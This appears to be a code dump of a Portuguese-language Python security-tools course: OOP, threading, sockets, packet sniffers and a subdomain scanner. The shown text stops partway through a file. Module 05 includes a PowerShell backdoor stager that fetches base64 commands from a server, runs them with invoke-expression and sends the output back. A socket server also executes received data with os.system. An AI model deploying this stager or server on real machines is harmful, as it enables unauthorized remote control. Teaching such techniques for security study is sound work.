├── modulo 02 ├── test │ ├── core │ │ ├── core.py │ │ ├── core.sh │ │ ├── functions.py │ │ ├── system.sh │ │ └── config │ │ │ ├── config.py │ │ │ ├── config.sh │ │ │ ├── loader.sh │ │ │ └── veriicar.py │ ├── modulo │ │ ├── script_bin.py │ │ ├── script_module.py │ │ ├── script_module2.sh │ │ └── users │ │ │ ├── script_user.py │ │ │ └── script_google.sh │ ├── script_2.sh │ └── script.sh ├── sys │ └── simples.py ├── multiprocess │ ├── multi_queue.py │ ├── multi_sync.py │ ├── multi_pipes.py │ ├── multi_simple.py │ └── application │ │ ├── multi_ping.py │ │ ├── multi_modules.py │ │ └── multi_cpu.py ├── find.py └── Threads │ ├── thread_class.py │ ├── simple_threads.py │ ├── thread_simples_list.py │ ├── thread_example.py │ ├── queue_simple.py │ ├── simples_thread2.py │ ├── thread_pratica.py │ └── thread_queue_simples2.py ├── modulo 03 ├── example │ ├── main.py │ ├── core │ │ ├── __init__.py │ │ └── utils_system.py │ └── plugins │ │ └── __init__.py ├── modulacao │ ├── core │ │ ├── __init__.py │ │ └── utils_system.py │ ├── main.py │ └── plugins │ │ ├── __init__.py │ │ ├── find_explorer.py │ │ ├── find_notepad.py │ │ └── plugin.py ├── load.py ├── constantes │ ├── script_07.py │ └── constantes.py ├── script_01.py ├── script_06.py ├── script_05.py ├── script_02.py ├── script_03.py ├── configObj │ ├── script_07.py │ └── config.conf ├── tes.py └── script_04.py ├── modulo 04 ├── sockets │ ├── chat │ │ ├── cliente.py │ │ └── servidor.py │ ├── cliente.py │ └── servidor.py ├── sniffer_arp │ ├── data_sniffed.pcap │ └── sniffer_packet.py ├── sniffer │ ├── plugins │ │ ├── __init__.py │ │ ├── base.py │ │ └── http.py │ └── sniff.py ├── cliente.py ├── server.py └── scanner │ └── scanner.py ├── modulo 05 ├── phishing │ ├── servers │ │ ├── __init__.py │ │ └── server.py │ ├── requeriments.py │ ├── web │ │ └── index.html │ └── main.py ├── ps_backdoor │ ├── core │ │ ├── __init__.py │ │ ├── common │ │ │ ├── __init__.py │ │ │ └── config.py │ │ └── config │ │ │ ├── __init__.py │ │ │ └── app.ini │ ├── requeriments.txt │ ├── payloads │ │ ├── __init__.py │ │ ├── basic_shell.py │ │ ├── sem_funcoes.py │ │ └── base.py │ ├── stagers │ │ ├── sem_funcoes.ps1 │ │ └── basic.ps1 │ └── ps_backdoor.py ├── sniffer_tools │ ├── config │ │ ├── __init__.py │ │ ├── config.ini │ │ └── config.py │ ├── core │ │ ├── __init__.py │ │ ├── console.py │ │ └── sniff.py │ ├── plugins │ │ ├── __init__.py │ │ ├── base.py │ │ └── http.py │ └── main.py ├── subdomains_scanner │ ├── core │ │ ├── __init__.py │ │ ├── session │ │ │ ├── __init__.py │ │ │ └── base.py │ │ └── runtimes │ │ │ ├── __init__.py │ │ │ └── thread.py │ ├── requiments.txt │ ├── modules │ │ ├── __init__.py │ │ └── spyse.py │ └── main.py └── wireless │ └── main.py ├── modulo 01 ├── mp.py ├── abstrato.py ├── super.py ├── empresa.py ├── class.py ├── figura.py └── exemplo_herança_multipla.py ├── .gitignore ├── README.md └── LICENSE /modulo 02/test/core/core.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 02/test/core/core.sh: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 03/example/main.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 02/test/core/functions.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 02/test/core/system.sh: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 04/sockets/chat/cliente.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 02/test/core/config/config.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 02/test/core/config/config.sh: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 02/test/core/config/loader.sh: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 02/test/core/config/veriicar.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 02/test/modulo/script_bin.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 02/test/modulo/script_module.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 03/example/core/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 03/example/core/utils_system.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 03/example/plugins/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 03/modulacao/core/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 05/phishing/servers/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/core/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 02/test/modulo/script_module2.sh: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 02/test/modulo/users/script_user.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 05/sniffer_tools/config/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 05/sniffer_tools/core/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 02/test/modulo/users/script_google.sh: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 05/phishing/requeriments.py: -------------------------------------------------------------------------------- 1 | lxml 2 | bs4 -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/core/common/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/core/config/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/requeriments.txt: -------------------------------------------------------------------------------- 1 | configobj -------------------------------------------------------------------------------- /modulo 05/subdomains_scanner/core/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 05/subdomains_scanner/core/session/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 05/subdomains_scanner/requiments.txt: -------------------------------------------------------------------------------- 1 | colorama -------------------------------------------------------------------------------- /modulo 05/subdomains_scanner/core/runtimes/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modulo 02/sys/simples.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | 4 | 5 | print(sys.argv[1]) -------------------------------------------------------------------------------- /modulo 02/test/script_2.sh: -------------------------------------------------------------------------------- 1 | escrevendo a segunda linha 2 | escrevendo a terceira linha -------------------------------------------------------------------------------- /modulo 03/load.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/CursoSecurityToolsPython/HEAD/modulo 03/load.py -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/core/config/app.ini: -------------------------------------------------------------------------------- 1 | [plugin] 2 | Basic=True 3 | Advanced=False 4 | semfuncoes=False -------------------------------------------------------------------------------- /modulo 04/sniffer_arp/data_sniffed.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/CursoSecurityToolsPython/HEAD/modulo 04/sniffer_arp/data_sniffed.pcap -------------------------------------------------------------------------------- /modulo 05/sniffer_tools/config/config.ini: -------------------------------------------------------------------------------- 1 | interface = ens33 2 | 3 | [plugin] 4 | ARPPacket = True 5 | IPPacket = True 6 | HTTPPacket = True 7 | -------------------------------------------------------------------------------- /modulo 03/modulacao/core/utils_system.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def get_localIP(): 4 | return "10.0.0.100" 5 | 6 | 7 | def getRemoteIP(): 8 | return "200.0.0.100" -------------------------------------------------------------------------------- /modulo 03/constantes/script_07.py: -------------------------------------------------------------------------------- 1 | 2 | import constantes as C 3 | 4 | 5 | 6 | 7 | print("\n") 8 | print(C.YELLOW) 9 | print(C.CONFIG_FILE) 10 | print(C.ENDC) 11 | print(C.IPFORWARD) -------------------------------------------------------------------------------- /modulo 03/script_01.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | local = {"latitude": 100000, "longitude": 200000} 4 | 5 | 6 | for i in range(0,10): 7 | print("{1} {0:>20} {latitude} {longitude}".format("100", "10",**local)) -------------------------------------------------------------------------------- /modulo 02/test/script.sh: -------------------------------------------------------------------------------- 1 | dmsoadmsa 2 | dsmaods 3 | amdosamdsoa 4 | dmsaodmsa 5 | domsaodmsaod 6 | msadosmadosamdosamdosamd 7 | sadsado 8 | sadsaodsmaodmsaodsmoadmosadms 9 | aodmosa 10 | mdsadosdmsad 11 | osam 12 | -------------------------------------------------------------------------------- /modulo 03/modulacao/main.py: -------------------------------------------------------------------------------- 1 | 2 | from plugins import * 3 | plugin_classes = plugin.Template.__subclasses__() 4 | for p in plugin_classes: 5 | print('plugin {0:20} {0:20}'.format(p("socket").name),p("socket").version) 6 | -------------------------------------------------------------------------------- /modulo 03/script_06.py: -------------------------------------------------------------------------------- 1 | import json 2 | # python dict 3 | x = { 4 | "name": "John", 5 | "age": 30, 6 | "city": "New York" 7 | } 8 | y = json.dumps(x)# convertendo para JSON: 9 | # o resultado é uma stringjson: 10 | print(y) 11 | -------------------------------------------------------------------------------- /modulo 04/sniffer/plugins/__init__.py: -------------------------------------------------------------------------------- 1 | #from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python 2 | import os 3 | import glob 4 | __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/payloads/__init__.py: -------------------------------------------------------------------------------- 1 | #from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python 2 | import os 3 | import glob 4 | __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] -------------------------------------------------------------------------------- /modulo 05/sniffer_tools/plugins/__init__.py: -------------------------------------------------------------------------------- 1 | #from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python 2 | import os 3 | import glob 4 | __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] -------------------------------------------------------------------------------- /modulo 05/subdomains_scanner/modules/__init__.py: -------------------------------------------------------------------------------- 1 | #from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python 2 | import os 3 | import glob 4 | __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] -------------------------------------------------------------------------------- /modulo 03/script_05.py: -------------------------------------------------------------------------------- 1 | import json 2 | # exempo de JSON: 3 | x = '{ "name":"John", "age":30, "city":"New York"}' 4 | 5 | # convertendo x: 6 | y = json.loads(x) 7 | print(y.keys()) 8 | 9 | # o resultado é um objeto dicionário 10 | print(y['age']) 11 | -------------------------------------------------------------------------------- /modulo 01/mp.py: -------------------------------------------------------------------------------- 1 | import multiprocessing as mp 2 | 3 | def foo(q): 4 | q.put('hello') 5 | 6 | if __name__ == '__main__': 7 | mp.set_start_method('spawn') 8 | q = mp.Queue() 9 | p = mp.Process(target=foo, args=(q,)) 10 | p.start() 11 | print(q.get()) 12 | p.join() -------------------------------------------------------------------------------- /modulo 03/script_02.py: -------------------------------------------------------------------------------- 1 | import colorama 2 | 3 | 4 | 5 | from colorama import Fore, Back, Style 6 | print(Fore.RED + 'textovermelho') 7 | print(Back.GREEN + 'e com o background verde') 8 | print(Style.DIM + 'com stilodim') 9 | print(Style.RESET_ALL) 10 | print('texto normal') 11 | -------------------------------------------------------------------------------- /modulo 02/multiprocess/multi_queue.py: -------------------------------------------------------------------------------- 1 | from multiprocessing import Process, Queue 2 | 3 | def f(q): 4 | q.put([42, None, 'hello']) 5 | 6 | if __name__ == '__main__': 7 | q = Queue() 8 | p = Process(target=f, args=(q,)) 9 | p.start() 10 | print(q.get()) 11 | p.join() -------------------------------------------------------------------------------- /modulo 02/find.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | import os 4 | import glob 5 | arquivos = [] 6 | diretorio_atual = os.getcwd() 7 | filtro = "*.*" 8 | 9 | for dir, _ , _ in os.walk(diretorio_atual + "/test"): 10 | arquivos.extend(glob.glob(os.path.join(dir, filtro))) 11 | 12 | print(arquivos) 13 | print(len(arquivos)) 14 | 15 | -------------------------------------------------------------------------------- /modulo 04/sniffer/plugins/base.py: -------------------------------------------------------------------------------- 1 | 2 | from scapy.all import hexdump 3 | 4 | class BasePlugin(object): 5 | name = 'plugin master' 6 | version = '1.0' 7 | 8 | def ParserPackets(self, pkt): 9 | raise NoImplementedError 10 | 11 | def hexdumpPacket(self, pkt): 12 | return hexdump(pkt) -------------------------------------------------------------------------------- /modulo 03/modulacao/plugins/__init__.py: -------------------------------------------------------------------------------- 1 | #Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python 2 | #Has to be a cleaner way to do this, but it works for now 3 | import os 4 | import glob 5 | __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] 6 | -------------------------------------------------------------------------------- /modulo 05/sniffer_tools/plugins/base.py: -------------------------------------------------------------------------------- 1 | 2 | from scapy.all import hexdump 3 | 4 | class BasePlugin(object): 5 | name = 'plugin master' 6 | version = '1.0' 7 | 8 | def ParserPackets(self, pkt): 9 | raise NoImplementedError 10 | 11 | def hexdumpPacket(self, pkt): 12 | return hexdump(pkt) -------------------------------------------------------------------------------- /modulo 02/multiprocess/multi_sync.py: -------------------------------------------------------------------------------- 1 | from multiprocessing import Process, Lock 2 | 3 | def f(l, i): 4 | l.acquire() 5 | print('hello world', i) 6 | l.release() 7 | 8 | if __name__ == '__main__': 9 | lock = Lock() 10 | 11 | for num in range(10): 12 | Process(target=f, args=(lock, num)).start() -------------------------------------------------------------------------------- /modulo 03/script_03.py: -------------------------------------------------------------------------------- 1 | from termcolor import colored, cprint 2 | import sys 3 | text = colored('Hello, World!', 'red', attrs=['reverse', 'blink']) 4 | print(text) 5 | cprint('Hello, World!', 'green', 'on_red') 6 | for i in range(10): 7 | cprint(i, 'magenta', end=' ') 8 | cprint("Attention!",'red', attrs=['bold'], file=sys.stdout) 9 | -------------------------------------------------------------------------------- /modulo 03/constantes/constantes.py: -------------------------------------------------------------------------------- 1 | import os 2 | dir_of_executable = os.path.dirname(__file__) 3 | 4 | # colors 5 | YELLOW = '\033[33m' 6 | RED = '\033[91m' 7 | ENDC = '\033[0m' 8 | IPFORWARD = '/proc/sys/net/ipv4/ip_forward' 9 | CONFIG_FILE = dir_of_executable + 'settings/config.ini' 10 | LOG_ALL = dir_of_executable + 'logs/everything.log' -------------------------------------------------------------------------------- /modulo 01/abstrato.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | class Veiculo: 7 | __rodas = None 8 | 9 | def setRodas(self, valor): 10 | raise NotImplementedError 11 | 12 | 13 | class Carro(Veiculo): 14 | 15 | 16 | def getRodas(self): 17 | return self.__rodas 18 | 19 | carro = Carro() 20 | carro.setRodas(4) 21 | print(carro.getRodas()) -------------------------------------------------------------------------------- /modulo 03/configObj/script_07.py: -------------------------------------------------------------------------------- 1 | from configobj import ConfigObj 2 | 3 | 4 | config = ConfigObj('config.conf') 5 | 6 | print("status: {}".format(config["accesspoint"]["dhcp"]["Status"])) 7 | 8 | 9 | config["accesspoint"]["dhcp"]["Status"]= "13meowmoe" 10 | 11 | 12 | print(config["accesspoint"]["dhcp"]["Range"]) 13 | 14 | config.write() -------------------------------------------------------------------------------- /modulo 04/sockets/cliente.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | 4 | ip = input("Digite o ip: ") 5 | port = 7000 6 | 7 | endereco = (ip, port) 8 | 9 | cliente_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | cliente_socket.connect(endereco) 11 | 12 | 13 | msg = input("Digite sua mensagem: ") 14 | 15 | cliente_socket.send(msg.encode()) 16 | print("message envida com sucesso !") 17 | cliente_socket.close() -------------------------------------------------------------------------------- /modulo 02/Threads/thread_class.py: -------------------------------------------------------------------------------- 1 | from threading import Thread 2 | import time 3 | class ExampleThread(Thread): 4 | def __init__ (self, num): 5 | Thread.__init__(self) 6 | self.num = num 7 | 8 | def run(self): 9 | for i in range(10): 10 | print(i + self.num) 11 | 12 | a = ExampleThread(5) 13 | a.start() 14 | print("executando fora da thread") 15 | a.join() 16 | print("continuando o codigo") 17 | -------------------------------------------------------------------------------- /modulo 01/super.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | class Base(object): 5 | def __init__(self, y): 6 | print('eu foi chamado pela class Base') 7 | print(y) 8 | 9 | 10 | class Derivada(Base): 11 | def __init__(self): 12 | #Base.__init__(self, 10, 15) 13 | #super().__init__(10) # python 3 14 | super(Derivada, self).__init__(10) #python 2 15 | print('eu foi chamado pela class Derivada') 16 | 17 | teste = Derivada() -------------------------------------------------------------------------------- /modulo 03/tes.py: -------------------------------------------------------------------------------- 1 | import os 2 | caminhos = [] 3 | arquivos = [] 4 | pngs = [] 5 | for name in os.listdir("teste"): 6 | caminhos.append(os.path.join("teste", name)) 7 | for arq in caminhos: 8 | if os.path.isfile(arq): 9 | arquivos.append(arq) 10 | for arq in arquivos: 11 | if arq.lower().endswith(".png"): 12 | pngs.append(arq) 13 | 14 | print("caminhos: ",format(caminhos)) 15 | print("arquivos encontrados: ",format(arquivos)) 16 | print("arquivos do tipo .png: ",format(pngs)) 17 | -------------------------------------------------------------------------------- /modulo 02/multiprocess/multi_pipes.py: -------------------------------------------------------------------------------- 1 | from multiprocessing import Process, Pipe 2 | import os 3 | 4 | def f(conn): 5 | print("main process") 6 | print(os.getpid()) 7 | conn.send([42, None, 'hello']) 8 | conn.close() 9 | 10 | if __name__ == '__main__': 11 | parent_conn, child_conn = Pipe() 12 | print("main app") 13 | print(os.getpid()) 14 | p = Process(target=f, args=(child_conn,)) 15 | p.start() 16 | print(parent_conn.recv()) 17 | p.join() -------------------------------------------------------------------------------- /modulo 03/script_04.py: -------------------------------------------------------------------------------- 1 | import argparse# importando o modulo 2 | parser = argparse.ArgumentParser() 3 | parser.add_argument("-l", "--local",dest="env", required=True,help="configura a variavel local") 4 | parser.add_argument("-u", "--url",dest="url",help="configura a url alvo") 5 | args = parser.parse_args() 6 | 7 | if (args.env): 8 | print("o user digitou env : {}".format(args.env)) 9 | if (args.url): 10 | print("o alvo foi setado : {} ".format(args.url)) 11 | print(args) 12 | -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/payloads/basic_shell.py: -------------------------------------------------------------------------------- 1 | from payloads.base import BasePayload 2 | from core.common.config import Settings 3 | 4 | 5 | class Basic(BasePayload): 6 | _name = "Basic" 7 | _code = None 8 | _activated = False 9 | _conf = Settings() 10 | _stager_path = "stagers/basic.ps1" 11 | 12 | @staticmethod 13 | def getName(): 14 | return Basic._name 15 | 16 | def __init__(self): 17 | self.setActivated(self._conf.getPayloadStatus(self._name)) -------------------------------------------------------------------------------- /modulo 02/Threads/simple_threads.py: -------------------------------------------------------------------------------- 1 | import _thread 2 | import time 3 | 4 | 5 | 6 | 7 | def print_time (nomedothread, delay): 8 | conta = 0 9 | while conta < 5: 10 | time.sleep(delay) 11 | conta += 1 12 | print("%s: %s" % (nomedothread, time.ctime(time.time()) )) 13 | 14 | _thread.start_new_thread( print_time, ("Thread-1", 2, ) ) 15 | _thread.start_new_thread( print_time, ("Thread-2", 4, ) ) 16 | 17 | while 1: 18 | print("Programa principal...") 19 | time.sleep(10) 20 | pass 21 | -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/stagers/sem_funcoes.ps1: -------------------------------------------------------------------------------- 1 | $resp = "http://{SERVER}:{PORT}/rat" 2 | $w = New-Object Net.WebClient 3 | while($true) 4 | {{ 5 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}} 6 | $r_get = $w.DownloadString($resp) 7 | $d = [System.Convert]::FromBase64String($r_get); 8 | $Ds = [System.Text.Encoding]::UTF8.GetString($d); 9 | while($r_get) {{ 10 | $output = invoke-expression $Ds | out-string 11 | $w.UploadString($resp, $output) 12 | break 13 | }} 14 | }} -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/payloads/sem_funcoes.py: -------------------------------------------------------------------------------- 1 | from payloads.base import BasePayload 2 | from core.common.config import Settings 3 | 4 | 5 | class Semfuncoes(BasePayload): 6 | _name = "semfuncoes" 7 | _code = None 8 | _activated = False 9 | _conf = Settings() 10 | _stager_path = "stagers/sem_funcoes.ps1" 11 | 12 | @staticmethod 13 | def getName(): 14 | return Semfuncoes._name 15 | 16 | def __init__(self): 17 | self.setActivated(self._conf.getPayloadStatus(self._name)) -------------------------------------------------------------------------------- /modulo 03/modulacao/plugins/find_explorer.py: -------------------------------------------------------------------------------- 1 | from plugins.plugin import Template 2 | 3 | 4 | 5 | class findExplorer(Template): 6 | def __init__(self,socket): 7 | self.name = 'Find Exmplorer' 8 | self.version = '1.1' 9 | self.description = 'get all notepad file in os' 10 | self.payload = 'Get-Command Notepad -All | Format-Table CommandType, Name, Definition ' 11 | self.socket = socket 12 | self.targets = ['windows 10'] 13 | 14 | def run(self): 15 | self.sendPayload() 16 | -------------------------------------------------------------------------------- /modulo 03/modulacao/plugins/find_notepad.py: -------------------------------------------------------------------------------- 1 | from plugins.plugin import Template 2 | 3 | 4 | 5 | class findNotepadPath(Template): 6 | def __init__(self,socket): 7 | self.name = 'Find Notepad' 8 | self.version = '1.0' 9 | self.description = 'get all notepad file in os' 10 | self.payload = 'Get-Command Notepad -All | Format-Table CommandType, Name, Definition ' 11 | self.socket = socket 12 | self.targets = ['windows 10'] 13 | 14 | def run(self): 15 | self.sendPayload() 16 | -------------------------------------------------------------------------------- /modulo 03/modulacao/plugins/plugin.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | class Template(object): 6 | name = 'plugin master' 7 | version = '1.0' 8 | description = 'this is a plugins demo' 9 | payload = None 10 | socket = None 11 | targets = [] 12 | 13 | def checkMachine(self, os_machine): 14 | if os_machine in targets: 15 | return true 16 | return false 17 | 18 | def getPayload(self): 19 | return self.payload 20 | 21 | def sendPayload(self): 22 | socket.send(self.getPayload()) 23 | -------------------------------------------------------------------------------- /modulo 03/configObj/config.conf: -------------------------------------------------------------------------------- 1 | # arquivo config.ini 2 | default_ip = 127.0.0.1 3 | # interface para sniffer 4 | interface = wlan0 5 | proxy_plugin = plugins/hexdump.py 6 | 7 | [accesspoint] 8 | Channel = 11 9 | Ssid = Free WiFi 10 | Bssid = BC:F6:85:21:26:0B 11 | interfaceAP = wlan0 12 | [[dhcp]] 13 | Subnet = 10.0.0.0 14 | Router = 10.0.0.1 15 | Netmask = 255.0.0.0 16 | Broadcast = 10.0.0.255 17 | Range = 10.0.0.10, 10.0.0.20 18 | Range2 = 10.0.0.50, 19 | Status = 13meowmoe 20 | -------------------------------------------------------------------------------- /modulo 02/multiprocess/multi_simple.py: -------------------------------------------------------------------------------- 1 | from multiprocessing import Process 2 | import os 3 | 4 | def info(title): 5 | print(title) 6 | print('module name:', __name__) 7 | if hasattr(os, 'getppid'): # only available on Unix 8 | print('parent process:', os.getppid()) 9 | print('process id:', os.getpid()) 10 | 11 | def f(name): 12 | info('function f') 13 | print('hello', name) 14 | 15 | if __name__ == '__main__': 16 | info('main line') 17 | p = Process(target=f, args=('bob',)) 18 | p.start() 19 | p.join() 20 | print("exit") -------------------------------------------------------------------------------- /modulo 04/sniffer_arp/sniffer_packet.py: -------------------------------------------------------------------------------- 1 | from scapy.all import ARP, sniff, wrpcap 2 | 3 | 4 | 5 | 6 | 7 | def sniffer_packet(packet): 8 | if (packet[ARP].op == 1): 9 | print("pedido: do endereco {} para o endereco {}".format( 10 | packet[ARP].psrc, packet[ARP].pdst 11 | )) 12 | elif (packet[ARP].op == 2): 13 | print("resposta: do mac {} para o endereco {}".format(packet[ARP].hwsrc, 14 | packet[ARP].pdst)) 15 | print(packet.show()) 16 | data = sniff(filter='arp', prn=sniffer_packet, count=10) 17 | wrpcap('data_sniffed.pcap', data) 18 | -------------------------------------------------------------------------------- /modulo 04/sockets/servidor.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | 4 | host = '' 5 | port = 7000 6 | 7 | endereco = (host, port) 8 | 9 | serv_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | serv_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 11 | serv_socket.bind(endereco) 12 | print('Binded com sucesso!') 13 | serv_socket.listen(1) 14 | 15 | 16 | conexao, cliente = serv_socket.accept() 17 | print('clinete endereco: %s' %(str(cliente))) 18 | 19 | receber = conexao.recv(1024) 20 | os.system(receber) 21 | print("message recebida: %s" %(receber.decode())) 22 | serv_socket.close() -------------------------------------------------------------------------------- /modulo 02/multiprocess/application/multi_ping.py: -------------------------------------------------------------------------------- 1 | from multiprocessing import Process, Pipe 2 | import os 3 | 4 | def create_new_process(pipe): 5 | print("Filho process id: {}".format(os.getpid())) 6 | command = pipe.recv() 7 | pipe.send(os.popen(command).read()) 8 | pipe.close() 9 | 10 | if __name__ == '__main__': 11 | print("Pai process id: {}".format(os.getpid())) 12 | saida_pai, saida_filho = Pipe() 13 | filho = Process(target=create_new_process, args=(saida_filho,)) 14 | filho.start() 15 | saida_pai.send("ping -c1 google.com") 16 | print("output: {}".format(saida_pai.recv())) 17 | 18 | filho.join() 19 | print("exit...") -------------------------------------------------------------------------------- /modulo 05/subdomains_scanner/core/runtimes/thread.py: -------------------------------------------------------------------------------- 1 | import multiprocessing 2 | from core.session.base import SessionBaseModel 3 | 4 | 5 | 6 | class enumratorBaseThreaded(multiprocessing.Process, SessionBaseModel): 7 | def __init__(self, url_parser, engine_name, domain, token, **args): 8 | self.verbose = args["verbose"] 9 | SessionBaseModel.__init__(self, url_parser, token, domain, verbose=self.verbose) 10 | multiprocessing.Process.__init__(self) 11 | self.q = args['q'] 12 | 13 | def run(self): 14 | domain_list = self.enumarate() 15 | for domain in domain_list.keys(): 16 | self.q.append({domain : domain_list[domain]}) 17 | -------------------------------------------------------------------------------- /modulo 02/Threads/thread_simples_list.py: -------------------------------------------------------------------------------- 1 | from threading import Thread 2 | import time 3 | class ExampleThread(Thread): 4 | def __init__ (self, num, name): 5 | Thread.__init__(self) 6 | self.num = num 7 | self.name = name 8 | 9 | def run(self): 10 | for i in range(3): 11 | print(self.name+ " count: " + str(i + self.num)+ "\n") 12 | print(self.name + " concluida!") 13 | 14 | lista = [ExampleThread(5, "thread 1"), ExampleThread(5, "thread 2"), 15 | ExampleThread(5, "thread 3")] 16 | 17 | print(lista) 18 | 19 | for thread in lista: 20 | thread.start() 21 | thread.join() 22 | 23 | 24 | while 1: 25 | time.sleep(10) 26 | print("programa principal") -------------------------------------------------------------------------------- /modulo 01/empresa.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | class Funcionario: 5 | 6 | def __init__(self): 7 | self.__salario = 2000 8 | self.__cargo = "Funcionario" 9 | 10 | def getSalario(self): 11 | return self.__salario 12 | 13 | def setSalario(self, valor): 14 | self.__salario = valor 15 | 16 | 17 | class Gerente(Funcionario): 18 | pass 19 | 20 | class Secretaria(Funcionario): 21 | 22 | def setSalario(self, novo_valor): 23 | if (novo_valor < 2000): 24 | self.__salario = novo_valor 25 | else: 26 | print("secretaria nao pode receber o mesmo que o gerente") 27 | 28 | 29 | class Telefonista(Funcionario): 30 | pass 31 | 32 | 33 | gabi = Secretaria() 34 | 35 | gabi.setSalario(2000) 36 | -------------------------------------------------------------------------------- /modulo 05/sniffer_tools/main.py: -------------------------------------------------------------------------------- 1 | 2 | from core.console import Console 3 | import argparse 4 | import signal 5 | 6 | 7 | if (__name__ == "__main__"): 8 | parser = argparse.ArgumentParser(description="sniff tool packet on the fly") 9 | parser.add_argument('-i','--interface', dest='interface', help='set the interface to sniff', default=None) 10 | parser.add_argument('-f','--filter', dest='filter', help='set the string filter to sniff', default='tcp and ( port 80)') 11 | parser.add_argument('-v','--version', dest='version', help='show version the tool') 12 | 13 | console = Console(parser.parse_args()) 14 | console.cmdloop("sniff tool packet on the fly") 15 | #signal.signal(signal.SIGINT, signal_handler) 16 | #sniffer.run() 17 | signal.pause() -------------------------------------------------------------------------------- /modulo 05/ps_backdoor/core/common/config.py: -------------------------------------------------------------------------------- 1 | from configobj import ConfigObj 2 | 3 | 4 | class Settings(object): 5 | def __init__(self): 6 | self.conf = ConfigObj('core/config/app.ini') 7 | 8 | 9 | def getValue(self, key): 10 | try: 11 | return self.conf[key] 12 | except KeyError: 13 | return None 14 | 15 | def setValue(self, key, value): 16 | self.conf[key] = value 17 | self.conf.write() 18 | 19 | def getPayloadStatus(self, plugin_name): 20 | try: 21 | return self.conf["plugin"].as_bool(plugin_name) 22 | except KeyError: 23 | return None 24 | 25 | def setPayloadStatus(self, plguin_name, status): 26 | self.conf['plugin'][plguin_name] = status 27 | self.conf.write() -------------------------------------------------------------------------------- /modulo 02/Threads/thread_example.py: -------------------------------------------------------------------------------- 1 | 2 | from threading import Thread 3 | import time 4 | import Queue 5 | 6 | class ExampleThread(Thread): 7 | def __init__ (self, num, name): 8 | Thread.__init__(self) 9 | self.num = num 10 | self.name = name 11 | self.status = True 12 | 13 | def run(self): 14 | for i in range(3): 15 | time.sleep(0.1) 16 | print(self.name+ " count: " + str(i + self.num)+ "\n") 17 | print(self.name + " concluida!") 18 | self.status = False 19 | 20 | q = Queue.Queue() 21 | 22 | lista = [ExampleThread(5, "thread 1"), ExampleThread(5, 